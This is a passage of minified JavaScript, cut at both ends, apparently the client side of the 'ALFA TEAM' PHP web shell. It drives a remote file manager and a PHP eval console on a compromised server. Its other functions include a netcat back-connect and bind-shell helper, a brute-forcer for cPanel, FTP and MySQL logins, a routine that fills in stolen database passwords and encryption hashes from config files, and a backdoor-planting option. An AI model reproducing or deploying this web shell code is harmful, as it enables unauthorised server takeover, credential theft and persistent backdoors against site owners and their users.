href='#action=fileman&path="+r+l[i]+'/\' class="header_pwd">'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id='"+s+"' class='up_bar'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname='"+n+"']").parentElement.parentElement.parentElement.remove()}catch(e){}l+='<tr class="fmanager-row" id="tr_row_'+r+'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'+n+'" class="chkbx" id="checkbox'+r+'"><label for="checkbox'+r+'"></label></div></td><td id="td_row_'+r+'">'+p+'<div style="position:relative;display:inline-block;bottom:12px;"><a row="'+r+'" id="id_'+r+'" class="main_name" onclick="editor(\''+s+"','auto','','','','file');\" href=\"#action=fileman&path="+c_+"&file="+s+'" fname="'+n+'" ftype="file" path="'+c_+'" opt_title="">'+n+'</a></div></td><td><span style="font-weight:unset;" class="main_size">'+c+'</span></td><td><span style="font-weight:unset;" class="main_modify">'+_+'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'+u+'</span></td><td><a id="id_chmode_'+r+'" href="javascript:void(0)" onclick="editor(\''+s+"','chmod','','','','file')\">"+f+'</a></td><td><a id="id_rename_'+r+'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'rename','','','','file')\">R</a> <a id=\"id_touch_"+r+'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'touch','','','','file')\">T</a> <a id=\"id_edit_"+r+'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''+s+"', 'edit','','','','file')\">E</a> <a id=\"id_download_"+r+'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''+n+"', 'download')\">D</a><a id=\"id_delete_"+r+'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '+s+" # ?'); chk ? g('FilesMan',null,'delete', '"+s+"') : '';\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\/\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\/\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id='loader_"+e+'\' class="options-loader-holder"><div parent="'+e+'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">ALFA TEAM</div><div class="alfa-ajax-error"></div><img src=\'http://solevisible.com/images/loader.svg\'></div>')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"¤t_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color='red'>>></font> ` button and run ` <font color='red'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML='<label class="inputfile" for="'+e+'"><span id="__fnameup'+upcount+'"></span> <strong> Choose a file</strong></label><input id="'+e+'" type="file" name="f[]" onChange="handleup(this,'+upcount+');" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\./g,"\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick='editorTabController(this);' opt_id='"+b+"' id='tab_"+b+"' class='editor-tab-name editor-tab-active'>"+decodeURIComponent(e)+" <img opt_id='"+b+"' onclick='closeEditorContent(this,event);return false;' title='[close]' src='http://solevisible.com/icons/menu/delete.svg'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class='editor-contents editor-content-active' id='"+b+"'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id='"+e+"' class='history' onClick='reopen(this);'><div class='editor-icon'>"+loadType(a,i,e)+"</div><div class='editor-file-name'>"+a+"</div></div><div class='history-close' onClick='removeHistory(\""+e+"\");'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class='editor-icon'>"+loadType(editor_files[t].file,e,t)+"</div><div class='editor-file-name'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return'<img src="http://solevisible.com/icons/{type}" width="30" height="30">'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor('"+a+"','auto','','','','file')"),$(r).setAttribute("onclick","editor('"+a+"','edit','','','','"+s+"')"),$(n).setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g('FilesMan', '"+c_+"/"+a+"')")),$(i).setAttribute("onclick","editor('"+a+"','chmod','','','','"+s+"')"),$(l).setAttribute("onclick","editor('"+a+"','rename','','','','"+s+"')"),$(o).setAttribute("onclick","editor('"+a+"','touch','','','','"+s+"')"),$(d).setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\/\//g,"/"),l=l.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return 